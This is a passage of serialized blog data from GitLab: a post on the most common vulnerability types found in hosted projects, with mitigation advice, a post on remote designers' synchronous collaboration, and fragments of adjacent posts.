to find improvement areas instead of relying on a separate tool. Furthermore, a team can directly create and link action items to the incident issue in the form of related issues and merge requests to improve the resiliency of the system.\n\n## Next Steps\n\nGet started by visiting the [Incident Management documentation page](https://docs.gitlab.com/ee/operations/incident_management/index.html) and create an issue template. Adopt a new process or amend the existing process for incident management to take advantage of the capabilities within GitLab.\n\nIncident Management is a [focus area](/direction/maturity/#monitor) for GitLab in 2020. We plan to continue iterating and improving this category. We’d love your help in prioritizing work on the most valuable improvements to the incident management solution. Keep an eye on [Incident Management Issues](https://gitlab.com/groups/gitlab-org/-/epics/349) and upvote or share your experiences in relevant issues.\n\nTo report a bug or request a feature or enhancement, follow these steps:\n\n* Open an issue in the [GitLab project](https://gitlab.com/gitlab-org/gitlab/issues).\n* Describe the feature enhancement and, if possible, include examples.\n* Add these labels to the issue: Category:Incident Management, devops::monitor, group::health\n* Tag @abellucci on the issue.\n\nCover image by [Tine Ivanic](https://unsplash.com/photos/u2d0BPZFXOY) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[4103,754],{"slug":24213,"featured":6,"template":678},"incident-management-with-gitlab","content:en-us:blog:incident-management-with-gitlab.yml","Incident Management With Gitlab","en-us/blog/incident-management-with-gitlab.yml","en-us/blog/incident-management-with-gitlab",{"_path":24219,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24220,"content":24225,"config":24230,"_id":24232,"_type":16,"title":24233,"_source":17,"_file":24234,"_stem":24235,"_extension":20},"/en-us/blog/security-trends-in-gitlab-hosted-projects",{"title":24221,"description":24222,"ogTitle":24221,"ogDescription":24222,"noIndex":6,"ogImage":19300,"ogUrl":24223,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24223,"schema":24224},"Top 6 security trends in GitLab-hosted projects","Using components with known vulnerabilities is the most common security problem in GitLab.com-hosted projects.","https://about.gitlab.com/blog/security-trends-in-gitlab-hosted-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 6 security trends in GitLab-hosted projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-04-02\",\n      }",{"title":24221,"description":24222,"authors":24226,"heroImage":19300,"date":24227,"body":24228,"category":674,"tags":24229},[16519],"2020-04-02","\nIn our first security trends report, we discovered six vulnerabilities that occurred in 5% or more of GitLab-hosted projects over the past six months. This is our first security trends report, which we intend to release with the latest trends twice a year.\n\nGitLab is unique: We have a solution for the entire DevSecOps lifecycle and we host thousands of different projects on GitLab.com. This allows us to compute trends in vulnerabilities across many different factors.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/y1_2kNc15ZE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Data sources\n\nThe underlying data for the trends report is sourced from projects hosted on GitLab.com, and does not include data from our self-managed customers. It includes vulnerability types appearing in 5% or more of projects between September 2019 and February 2020.  All project-specific data has been anonymized.\n\nWe sourced security trend data from six sources:\n\n- [Static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Scan the source code\n- [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/): Scan running web applications\n- [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Scan package dependencies during the CI/CD process\n- [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning): Scan in use Docker images for known vulnerabilities\n- [Secret detection](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection): Scan source code for secrets (such as passwords, keys, and tokens)\n- Scan results imported from third party tools, such as [WhiteSource](/blog/whitesource-gitlab-security-integration/)\n\nAll of the data was discovered by GitLab components that shift the security risks to the left. The issues were identified during the [CI/CD process](/topics/ci-cd/), prior to the applications and containers deploying to production environments.\n\nSecurity vulnerabilities are managed by users via the [security dashboard](https://docs.gitlab.com/ee/user/application_security/#interacting-with-the-vulnerabilities).\n\nulnerability types\n\nThe following vulnerability types appeared in 5% or more of GitLab.com-hosted projects:\n\n| Vulnerability type | Current rank | % of projects | Change in rank from 6 months ago | % change from 6 months ago |\n|---|---|---|---|---|\n| Component with known vulnerabilities | 1 | 52% | No change |  +6% |\n| Cross-site scripting (XSS) | 2 |  21% |  No change |  +20% |\n| Lack of secret management | 3 |  18% |  No change |  +6% |\n| Content security protection (CSP) | 4 |  8% |  Up 3 |  +192% |\n| Cross-site request forgery (CSRF) | 5 |   6% |  Down 1 |  -30% |\n| SQL injection (SQLi) | 6 |  6% |  Down 1 |  -15% |\n\n## Vulnerability scanning trends\n\nIn the last six months:\n\n- GitLab users have increased vulnerability scanning of projects by 161%\n- Total vulnerabilities detected per month have increased by 73%\n\n![Graph of vulnerability trends from GitLab-hosted projects in the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/vulnerability_trends.png \"Vulnerability Trends\")\n\nVulnerability trends from GitLab-hosted projects in the past six months.\n{: .note.text-center}\n\n## Trends for specific vulnerability types\n\n### 1. Components with known vulnerabilities\n\nWe detected use of components with known vulnerabilities in 52% of the projects scanned, making it the number one type of vulnerability in GitLab.com-hosted projects. The percent of projects using components with known vulnerabilities increased by 6% in the last six months.\n\n![Graph showing an increase in components with known vulnerabilities in GitLab.com-hosted projects](https://about.gitlab.com/images/blogimages/security_trends_april_2020/components_with_known_vulnerabilities.png \"Components with known vulnerabilities\")\n\nThere was an increase in projects using components with known vulnerabilities in GitLab.com-hosted projects in the past six months.\n{: .note.text-center}\n\n* `Project_Percentage`: Percent of projects with a vulnerability of this type seen per month\n* `Project_Percentage Average`: Rolling average of the `Project_Percentage`\n\nBest practices for reducing use of [components with known vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities) include:\n* During the build process, pull the latest packages whenever possible or feasible.\n* Recursively [scan package dependencies](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) and prioritize updates based on risk.\n* [Scan containers](https://docs.gitlab.com/ee/user/application_security/container_scanning/) for known vulnerabilities and patch as possible or feasible.\n\n### 2. Cross-site scripting (XSS)\n\nWe detected cross-site scripting (XSS) in 21% of the projects scanned. The percent of projects containing XSS vulnerabilities increased by 20% in the last six months.\n\n![Graph showing XSS trends vulnerabilities grew by 20% in the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/xss.png \"XSS Trends\")\n\nXSS vulnerabilities grew by 20% in the past six months.\n{: .note.text-center}\n\nXSS vulnerabilities allow malicious code to be inserted into a web browser's session, often allowing for a complete takeover of a web application. The malicious code can be inserted when a user clicks on a malicious link, or if malicious code is sent to an application, stored, then displayed in the user's web browser.\n\nBest practices for protecting against [XSS vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)) include:\n\n- Identify and scan all web applications for cross-site scripting vulnerabilities with [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) and [SAST](https://docs.gitlab.com/ee/user/application_security/sast/). However, don’t assume that dynamically discovered XSS is the only attack vector – you should track stored XSS as well.\n- Educate developers on the risks of XSS. Some common misperceptions among developers are that XSS is low-risk and that applications that are not accessible through the internet are not at risk for XSS.\n- Use frameworks that automatically mitigate XSS by design.\n- Assume stored data that will be displayed in web applications is untrusted, and escape all HTML as appropriate to mitigate risks from stored XSS.\n- Apply context-sensitive coding when modifying the browser document on the client side.\n- Enable CSP (content security policy) to help detect and mitigate attacks such as XSS.\n\n### 3. Lack of secret management\n\nThe third most common vulnerability we identified was inadequate secret management. Of the projects we scanned, 18% lacked adequate secret management. The percent of projects with secret management vulnerabilities increased by 6% in the last six months.\n\n![A graph showing a 6% increase in projects with secret management vulnerabilities](https://about.gitlab.com/images/blogimages/security_trends_april_2020/secret_management.png \"Secret management trends\")\n\nThere was a small increase in the number of projects lacking secret management over the past six months.\n{: .note.text-center}\n\nApplications need secrets to operate (authenticate to data stores, services, etc.). It is easy for developers to make the secrets readily accessible, however not following secret management best practices can cause significant vulnerabilities for the application.\n\nBest practices for secret management include:\n\n- Educate developers on why storing secrets in repositories, intentionally or unintentionally, is ill-advised.\n- Educate developers on how to safely store and retrieve secrets in critical environments.\n- [Scan your repositories for keys, tokens, and hardcoded passwords](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection).\n\n### 4. Content security protection (CSP)\n\nA lack of content security protection (CSP) is now the fourth most common type of vulnerability, increasing from the seventh ranking six months ago. Lack of CSP-based protection was detected in 8% of the projects scanned. The percent of projects where CSP protections were not found increased by 192% in the last six months.\n\n![There was a huge spike in CSP trends over the past six months on GitLab.com hosted projects](https://about.gitlab.com/images/blogimages/security_trends_april_2020/csp.png \"CSP trends\")\n\nThere was a huge spike in CSP trends over the past six months on GitLab.com hosted projects.\n{: .note.text-center}\n\nCSP adds a layer to detect and mitigate attacks, including XSS. It can be very challenging to prevent all attacks such as XSS, and CSP allows in-browser detection of successful attacks.\n\nBest practices for implementing CSP include:\n\n- Implement [CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) protection on all web applications, including applications not exposed to the internet.\n- Run [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) on all web applications.\n\n### 5. Cross-site request forgery (CSRF)\n\nWe detected [CSRF](https://owasp.org/www-community/attacks/csrf) in 6% of the projects scanned, making it the fifth most common vulnerability. The percent of projects with CSRF vulnerabilities has decreased by 30% in the last six months.\n\n![A graph showing a 30% decline in CSRF vulnerabilities on GitLab.com hosted projects over the past six months](https://about.gitlab.com/images/blogimages/security_trends_april_2020/csrf.png \"CSRF Trends\")\n\nCSRF vulnerabilities have been trending down in GitLab.com hosted projects over the past six months.\n{: .note.text-center}\n\nCSRF allows an attacker to execute malicious actions on a web application in use by a legitimate and authenticated user.\n\nBest practices for preventing CSRF:\n\n- Implement a CSRF token, which will not be known to the attacker.\n- Use the built-in features of most frameworks for CSRF protection.\n- Use the [same-site flag in cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n- Run [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) on all web applications.\n\n### 6. SQL Injection (SQLi)\n\nSQL Injection (SQLi) is the sixth most prevalent type of security vulnerability. SQLi was detected in 6% of the projects that were scanned, which is a 15% decrease from six months ago.\n\n![A graph showing a 15% decrease in SQLi over the past six months.](https://about.gitlab.com/images/blogimages/security_trends_april_2020/sqli.png \"SQLi trends\")\n\nThere has been a 15% decrease in SQLi over the past six months.\n{: .note.text-center}\n\n[SQL and other injection vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection) occur when inputs from untrusted sources are improperly sanitized. This includes but is not limited to web user interfaces. Injection vulnerabilities allow an application to run malicious code.\n\nBest practices for SQLi protection include:\n\n* Sanitize all input only allowing acceptable data.\n* Use parameterized database queries (vs. dynamically built queries) whenever possible.\n* Use LIMIT and other similar controls to reduce the chances of unintended data disclosure.\n* Run [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) and [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) scans.\n\n## Routine evaluations keep your projects more secure\n\nDevelopers using GitLab are able to focus on providing value to their customers while also identifiying and mitigating security threats. Automating and prioritizing security helps to protect and defend your applications as well as improve the productivity and morale for development teams.\n\n## Tell us what you think of this blog\n\nWhat do you like about this blog post? What do you think should be improved or considered for the next one? Please provide any feedback you have in [this public issue](https://gitlab.com/gitlab-org/protect/general/-/issues/709).\n\nCover Photo by [Jackson Simmer](https://unsplash.com/@simmerdownjpg) on [Unsplash](https://unsplash.com/photos/Vqg809B-SrE)\n{: .note}\n",[674,2952],{"slug":24231,"featured":6,"template":678},"security-trends-in-gitlab-hosted-projects","content:en-us:blog:security-trends-in-gitlab-hosted-projects.yml","Security Trends In Gitlab Hosted Projects","en-us/blog/security-trends-in-gitlab-hosted-projects.yml","en-us/blog/security-trends-in-gitlab-hosted-projects",{"_path":24237,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24238,"content":24243,"config":24250,"_id":24252,"_type":16,"title":24253,"_source":17,"_file":24254,"_stem":24255,"_extension":20},"/en-us/blog/synchronous-collaboration-as-a-remote-designer-at-gitlab",{"title":24239,"description":24240,"ogTitle":24239,"ogDescription":24240,"noIndex":6,"ogImage":14925,"ogUrl":24241,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24241,"schema":24242},"Synchronous collaboration as a remote designer at GitLab","Find out how GitLab Designers collaborate synchronously within an all-remote company!","https://about.gitlab.com/blog/synchronous-collaboration-as-a-remote-designer-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Synchronous collaboration as a remote designer at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alexis Ginsberg\"},{\"@type\":\"Person\",\"name\":\"Becka Lippert\"},{\"@type\":\"Person\",\"name\":\"Matej Latin\"},{\"@type\":\"Person\",\"name\":\"Holly Reynolds\"}],\n        \"datePublished\": \"2020-04-01\",\n      }",{"title":24239,"description":24240,"authors":24244,"heroImage":14925,"date":24247,"body":24248,"category":18484,"tags":24249},[24245,24246,18742,21269],"Alexis Ginsberg","Becka Lippert","2020-04-01","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nMany designers out there may find themselves new to the remote life within the past couple of months. This post just scratches the surface of how designers collaborate at Gitlab, and some ideas may work a bit differently in a post-COVID world, but hopefully you can find some inspiration for your day-to-day work. \n\nWorking as a designer at GitLab means being a Remote Designer with a capital R. GitLab has no “main” office. We have teammates working from their home office or coworking spaces all around the globe. Some of us don’t even have one home base, preferring to travel the world while working. \n\nAs designers at GitLab, we may not be able to physically get together near the Nespresso machine to chat about our days, or grab a conference room for a quick whiteboard session around the latest design challenge we are solving, but we still find ways to stay in sync. Are you thinking about NSYNC now? Good.\n\nFinding creative ways to collaborate synchronously with all teammates across GitLab is a worthy challenge to be solved, and we are always experimenting and iterating on the best ways to do this! We have found that [synchronous collaboration](/company/culture/all-remote/collaboration-and-whiteboarding/) has to be a bit more intentional, but if time and space is made for it, it can be just as––if not more––fun and productive! Here are some ways the GitLab design team has worked to create that space for synchronous collaboration...\n\n\n## 👯 Pair designers\n\nEvery six months or so, each individual designer is paired with another GitLab designer who is intentionally dedicated to a different[ stage group](https://about.gitlab.com/handbook/product/categories/). We are given the freedom to coordinate how we choose and can collaborate as much or as little as we feel comfortable with. The trend seems to be 30 minutes to an hour either each week or every other week. \n\n**_Alexis:_** I personally look forward to my weekly Zoom meeting with my pair, and we usually aim for an hour but sometimes go over time since we love chatting with each other. We have an agenda of items both of us hope to cover, but also make sure we have time to catch up as people and coworkers, which is especially important to me as a remote designer (sometimes you just want to show off your dog or talk about the latest Netflix show you are binging!).\n\nThe agenda items are usually split evenly between us so that we can dedicate half of the time to a design, research, or process challenge we are working through, and the other half giving feedback. We are encouraged to work in the tools we feel most productive in so sometimes we will be walking through a design in Sketch, Figma, Axure, Mural, or even a quick sketch on paper or iPad.\n\nAs our team grows larger, getting this time to really dive into the design challenges of another stage group is very important. It helps me focus on the holistic journey users have within GitLab, rather than just “my” specific corner of the product. Every designer at GitLab shines in their own way, and this is just another way for us to learn from each other! \n\n\n## ☕ Coffee chats, 1-1s with other designers, and stage specific syncs\n\nWe've already touched on the importance of remembering that although we are remote designers, we have the support of an entire team around the world. In no other place is this more apparent at GitLab than in coffee chats, one-on-one syncs, and syncs with stage specific teams. \n\n**_Alexis:_** We can opt in to random coffee chats with anyone at GitLab, but as a designer magic happens often when just chatting through challenges with other designers. Working remotely means more time to focus, and the formal process of asking to schedule time with others can sometimes feel like you are asking permission to steal focus time away from their day. If all designers agree to set aside time each week that is dedicated to chatting with each other, it helps take that guilty feeling out of the equation and feels more like an informal time to chat and explore designs (that \"turn around in your chair to chat with the coworker next to you\" feeling), rather than another faceless Google Calendar invite.\n\nWe do this in a few ways, either through recurring 1-1s with other designers (including the pair system), recurring small group syncs with other designers in our stage group, and somewhat larger recurring syncs with designers in our [section](https://about.gitlab.com/handbook/product/categories/#hierarchy). They are all useful and full of collaboration to varying degrees.\n\nThe smaller and more specific the syncs get, the more day-to-day-design and feedback-specific the collaboration gets, which is great, because designers in one product area need to be able to support each other frequently on related work. \n\nLarger syncs are perfect for getting a broader understanding of what other designers outside of your stage are up to and for aligning on broader GitLab Design priorities affecting our section.\n\n**_Becka:_** The larger syncs also help discover overlap that you may not know exists, such as similar challenges or new use cases for a component in the [design system](https://design.gitlab.com/).\n\n**_Matej:_** Based on my experience so far, having a recurring 1-1 call with other designers from my stage group can be even better than the option to do it spontaneously in an office environment. And that’s mostly because of how we do it. \n\nThese calls are always at the same time on the same day of the week. We have a Google Doc for the agenda, so we can prepare in advance. Often, when I work on something, I remember that my fellow designer from my group probably knows more about the topic, so I just open that agenda doc and add an item to it so that we talk about it the next time we meet. This way, I don’t interrupt them with Slack messages or ad-hoc calls. \n\nAll this combined, it leads to scheduled, time-boxed calls where participants are prepared in advance and everyone gets so much value out of it. We borrow ideas, prototypes, pieces of UI. We can go into details of why our teams are working on the things that they’re working on. If we relied solely on group status update calls we wouldn’t be able to do that. \n\nIt’s also a great way to socialize and build relationships with other designers, as we often talk about stuff that isn’t work related. We’ve only been doing this for two months in the [Growth](https://about.gitlab.com/handbook/product/categories/#growth-stage) group, but I've already saved hours of wasted time working on things others already did. I also got to know the designers much better, which makes collaboration easier, more likely, and also more enjoyable. \n\nWhen it comes down to it, we are all GitLab Designers and need to not only understand and empathize for each other's work, but also for each other as people who like each other and are working toward the same goals!\n\n\n## 🎬 UX Showcase and UX Weekly\n\nOur largest opportunities for synchronous collaboration are our UX Weekly meeting and the [UX Showcase](https://about.gitlab.com/handbook/product/ux/ux-department-workflow/ux-showcase/). These syncs aim to capture as many designers across time zones as possible, which is a great chance to interact with faces you may not see on your screen often.\n\n**_Alexis:_** Our team has grown substantially over the last year, so having a weekly time to catch up with each other at a department level has also grown more important. The UX Weekly is a time for any and all GitLab designers to discuss any updates they have made to Pajamas (our design system), process changes, OKRs, exciting ideas, or [workshops](https://about.gitlab.com/blog/async-sketching/) designers are tinkering on that they think may benefit others – basically any team updates in general. \n\nGrowth of our department (and GitLab as a whole) has also inspired us to find new ways to stay transparent and visible about the work we are doing. This promotes cross-team collaboration both inside and outside of design. \n\nEvery two weeks product designers are encouraged to dive deeply into problems they are solving at the [UX Showcase](https://www.youtube.com/playlist?list=PL05JrBw4t0Kq89nFXtkVviaIfYQPptwJz), making sure to touch on things like business goals, customer goals, and constraints. Four stage groups present per session for fifteen minutes at a time, giving us an hour to highlight work we are excited about sharing broadly on [GitLab Unfiltered](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A/videos) for anyone to watch! What we present and the format in which we share is not prescribed, so designers can get creative about how to use that fifteen minutes allotted to their stage group (or at least as creative as sharing a screen on Zoom will allow!).\n\nThe part of the UX Showcase I enjoy the most is understanding the journeys my fellow designers go through and what processes they find most beneficial when creating solutions alongside their teammates in Product and Engineering. I also love the Slacks I get from other GitLabbers after presenting, asking to learn more about the work I am doing because they have feedback or to collaborate on something they are working on that is similar. The most exciting pings I get are from coworkers I am unfamiliar with, because that means we are empowering everyone to learn about and contribute feedback to our user experience!\n\n\n## 🤝 Collaboration with Product Managers \n\nA strong relationship with our partners in Product Management is important for any designer, and this is no different even for those of us who don’t have to walk into an office every day. \n\n**_Alexis:_** One of my favorite weekly meetings is when my team’s product designers and product managers all get together in the middle of the week for a 45-minute sync on Zoom. The first item on our agenda is for each of us to go over our goal of the week. These goals can be very personal or something we are hoping to accomplish professionally that week. I personally really enjoy learning more about what my teammates hopes and dreams are, even if those hopes are just to finish the repairs on their guest bathroom (this seems to be a big priority on our team for some reason!).\n\nWe spend the rest of the time going over our agenda items, such as in-flight research, issues that need collaboration, questions that we need clarification on, and then the good ole’ board walking time (going through our Kanban board of open issues in the current milestone) where we see how prioritized work is going. Usually we don’t get to the last agenda item, because we are busy walking through a design together or collaborating on some research items in Mural. This is fine though, because we have other times set aside to talk about priorities, and this is something that is easy to do asynchronously as well.\n\nA recurring theme I hear from product managers is that working with designers is one of their favorite parts of their jobs, and that they would never want to lose that just because we aren’t co-located. Luckily for all of us, most designers at GitLab are now aligned to one group with one dedicated product manager, so we can really focus on making that working relationship great! \n\nMy product manager and I take an hour out of our busy schedules each week to hop on Zoom and sync up. We use our agenda (are you sensing a theme here?) as our guide to walk through priority design issues that require collaboration or scope clarification. I prefer to drop sketches and mocks into a Mural board that we share, so that I can share my screen and allow him to follow along and make comments as I walk through ideas. Sometimes he will even share sketches with me, which I will then add and build on. This time helps us collaborate and get to know each other outside of regular conversations in Slack and [issues](https://docs.gitlab.com/ee/user/project/issues/). \n\n\n## 💻 Collaboration with Engineering\n\nAnother very important relationship for product designers to nurture is with our friends in Engineering. Designers and engineers at GitLab usually work together asynchronously, often in issues or [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/). Many of the usual touchpoints between these teams - like stand up, retros, brainstorms, and reviews - are effortlessly asynchronous. Instead of distancing us as designers from the engineers we team up with, this just allows us to make the time we do set aside for synchronous work more focused and intentional. Sometimes we may even sneak in a board game or two.\n\n**_Alexis:_** My team has weekly syncs between designers and Engineering Managers to discuss ideas for experience improvements and gather feedback or known constraints around designs. Product managers will also join and help facilitate any pivots or tradeoffs we may need to make while walking through our planned priority work. We also have a larger meeting to discuss big picture updates or retro type items, like processes we think could improve our workflow. \n\nThese (at least) weekly syncs are important in keeping our teams running smoothly, but my favorite engineering syncs are the impromptu one-on-one review and pair sessions I have with teammates. If asynchronous reviews or ideation seem to be going back and forth for a long time, nothing is better for unblocking a teammate than a quick synchronous Zoom call. Usually, what starts with one of us being confused by something the other is working on ends up in us chatting on a call and learning from each other as we share our screens and work through tough challenges together. The best part of these is that if our time zones are very different, we get to say, “Go have some coffee and have a great morning!” and “Get out of the office and have a good night!” at the end of the same meeting.\n\n\n## 🔬 Collaborating with users and the UX Research team\n\nHaving a solid understanding of users and being able to empathize with their frustrations and desires is so important to us. In fact, we even have a team dedicated just to UX Research! As with most organizations, though, GitLab Product Designers also need to have a passion for research and will often wear that “research hat” themselves.\n\n**_Alexis:_** Conducting research as a remote designer has surprisingly not differed as much as I expected from my time as a designer working in an office. Usually we start everything with a synchronous kickoff chat between the person requesting research, the researcher, and anyone else interested in the research project to capture objectives. This is also documented more formally in an issue, so we can iterate together asynchronously and have a single source of truth to refer back to. The planning and scripting can either be done in GitLab itself, or in a Google Document where we collaborate asynchronously.\n\nPrototyping or setting up testing environments is done in GitLab or any tool we feel comfortable will be most effective for the user. We schedule time with participants and conduct the interviews themselves through Zoom, which is something many would be familiar with. Those who join the call take notes and chime in as needed. If anything, this may feel less intimidating to participants, as we are all just friendly faces in a small Zoom box,  rather than people staring at them in person. Many times, users will remark on something going on in our home office, and that acts as an icebreaker and takes pressure off of the situation (I always get comments on my yellow chair and terrible wall art for example).\n\nThe synthesis aspect of research is where things get interesting, although I would imagine organizations that aren’t remote are also catching on to some of the remote techniques I am about to describe. We take the insights captured in Google Docs and GitLab issues and map them out in Mural. These synchronous sessions in Mural help us feel like we are all together at a whiteboard doing some good old fashioned affinity mapping - even more so if we are all doing this on a Zoom call and chatting as we work. Add a few stakeholders to the call, and it is a remote research synthesis party!\n\n## ⚖️ Why synchronous vs asynchronous?\n\nThis post highlights and focuses on some of the ways the GitLab team collaborates synchronously across time zones and teams, but the flipside of this is asynchronous collaboration, which is how we Get Things Done™️ a majority of the time. It is even one of our [values](https://handbook.gitlab.com/handbook/values/#bias-towards-asynchronous-communication). There are of course pros and cons to each way of collaborating!\n\n**_Holly_**: One of the challenges of being a remote organization is that we all simply can’t be available at the same time. In addition to collaboration, inclusion is also one of our values. Asynchronous communication allows us to ensure that [everyone has a chance](https://handbook.gitlab.com/handbook/values/#bias-towards-asynchronous-communication) to have a say, regardless of their schedule or timezone. \n\nHowever, we recognize that asynchronous communication is not without its challenges. Because async conversations happen in a page or document rather than a real-time setting, they can slip off the radar of participants. This can result in a stall in productivity. We have to be intentional about managing conversations we want and need to be a part of. This may include using [To-Dos](https://docs.gitlab.com/ee/user/todos.html), tagging others when we need feedback, applying group labels, and assigning items to ourselves, so that we are notified when a change occurs.\n\nAsynchronous communication also gives everyone a chance to pause, reflect and respond to ideas proactively, rather than reactively. This is great, particularly for introverts such as myself, but can at times lead to overthinking in discussions. We strongly believe that everyone can contribute and should feel empowered to do so, but we also recognize the need to move the work forward. Some of the ways we manage this are through asking questions and seeking to understand one another’s views, but also setting timelines (as needed) and goals for what we want to accomplish within a certain time frame.\n\nFinally, asynchronous communication allows the history of our collaboration to be preserved. We’ve grown exponentially this past year in a very short period of time. With so many new faces and great ideas coming in, it’s more important than ever for us to be able to refer to the historical conversations surrounding why certain decisions have been made. This enables us to move forward with insights starting from the original idea all the way through to production.\n\nWith all of these great benefits, though, sometimes problems can be particularly complex and need a quick answer or require real-time visual collaboration. We have a rule that if a conversation goes back and forth asynchronously more than 3 times, we move to a synchronous conversation, usually in Zoom or Slack. We record as many of our meetings and video chats as possible, so that others can still have an opportunity to catch up and provide feedback. And we recognize that as human beings, we are social creatures. Sometimes we simply need to hear someone’s voice, see their body language to fully understand a situation, or to just have a human connection. In these cases, we embrace the benefits of synchronous communication.\n\nFor more details on how we collaborate remotely in general, feel free to add [this blog](https://about.gitlab.com/blog/designing-in-an-all-remote-company/) to your reading list!\n\n\n## 💡 Tips and things to keep in mind when meeting\n\nYou may have a friend of a friend who has a horror story about video calls with coworkers. Mishaps can happen to the best of us (especially those of us with cats), and we understand that at GitLab. Here are a few of the things we keep in mind to make synchronous collaboration as seamless an experience as possible:\n\n**_Becka_**: Keep an agenda! One of the coolest things about GitLab meetings is that there’s always an agenda attached, so you can see what will be covered. Anyone on the call is empowered and encouraged to add items to the agenda, whether it’s to draw attention to an issue, invite feedback, or discuss something process oriented as a group. We can always add “Read-only” items at the top if there are a lot of agenda items, if the discussion can take place asynchronously, or if it’s more of an FYI (“Thank you so much to Alexis for starting this awesome blog post [linked to doc] about remote work!”). \n\nHaving a meeting agenda completed in advance (and often elaborated upon during the meeting), lets attendees come prepared and gives everyone a chance to be heard. If you decide that the other agenda items are higher priority, you can always add yours to the bottom of the list and feel good knowing that if time runs up, it will automatically be moved up as higher priority in the following meeting. \n\nFinally, agenda items are a great place to revisit to-dos from weeks prior, to find links to issues that were discussed, and a great single source of truth for meeting notes that all can contribute to.\n\n**_Becka:_** Mute your mic when you aren’t speaking to avoid frustration and perhaps embarrassment. 👀\n\n**_Holly:_** Remote work can blur the lines between personal and professional, but we are all human and things just happen sometimes! If anything, this can create bonding moments.\n\n**_Alexis:_** Many of our [collaboration values](https://handbook.gitlab.com/handbook/values/#collaboration) are around being kind to each other. This can translate to video calls and collaborative workspaces, too! Build any sessions with easy collaboration in mind. Give each other space to respond, and listen to each other. Pause often to allow other people to chime in with thoughts or ideas without interruption. Read the room as you typically would in person. One thing that really helps with this is turning your camera on during meetings, so that others can see your face and read your body language. I know sometimes it is tempting to join with your camera off, but trust me - it helps!\n\nAnother way you can be kind to others is by scheduling meetings with a 5-minute buffer at the end. So, for example, instead of blocking 30 minutes of time with someone, schedule them for 25 minutes. There is nothing worse having back-to-back meetings without time for making coffee, taking a bio break, or just walking around and stretching (hopefully toward some place that has a snack you can bring with you to the next meeting). \n\n**_Matej:_** If you need to collaborate often with the same teammates, schedule your syncs as recurring in a consistent cadence and have an agenda. This allows participants to be intentional in advance about what they’d like to cover during that set time, so they can understand expectations and be prepared - which enables everyone to collaborate on more items!\n\n**_Alexis and Holly:_** Lean into the fact that most coworkers may only be seeing your upper half and anything behind you, and fill that space with your personality (we like to wear outrageously silly sweaters or put our favorite art behind us)! Dogs or family walking behind you or interacting with the camera to say hi to colleagues is not only accepted at GitLab but encouraged. Working outside of an office means that coworkers can get to know you outside of the office “version” of you, if that is something you feel comfortable with.\n\n\n## 🦊 How do you do remote?\n\nFeel free to ping us on Twitter at [@gitlab](https://twitter.com/gitlab?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor) with any remote synchronous collaboration tips and tricks in your toolbox that you think our team could learn from. See you in GitLab! \n\n###### [Alexis Ginsberg](https://gitlab.com/uhlexsis) (Chicago, IL, USA GMT-5), [Holly Reynolds](https://gitlab.com/hollyreynolds) (Roswell, Georgia, USA GMT-4), [Becka Lippert](https://gitlab.com/beckalippert) (Austin, TX, USA - and looking forward to working outside of the States when possible and responsible -  GMT-5), [Matej Latin](https://gitlab.com/matejlatin) (Ljubljana, Slovenia GMT+2)\n\nCover image by [Sincerely Media](https://unsplash.com/photos/ylveRpZ8L1s) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[2248,2249,2250,3798,2368],{"slug":24251,"featured":6,"template":678},"synchronous-collaboration-as-a-remote-designer-at-gitlab","content:en-us:blog:synchronous-collaboration-as-a-remote-designer-at-gitlab.yml","Synchronous Collaboration As A Remote Designer At Gitlab","en-us/blog/synchronous-collaboration-as-a-remote-designer-at-gitlab.yml","en-us/blog/synchronous-collaboration-as-a-remote-designer-at-gitlab",{"_path":24257,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24258,"content":24263,"config":24268,"_id":24270,"_type":16,"title":24271,"_source":17,"_file":24272,"_stem":24273,"_extension":20},"/en-us/blog/conan-c-cpp-package-management-integration",{"title":24259,"description":24260,"ogTitle":24259,"ogDescription":24260,"noIndex":6,"ogImage":17364,"ogUrl":24261,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24261,"schema":24262},"Modern C and C++: How Conan integration works in GitLab","Conan is a leading C and C++ package manager and it is now available in 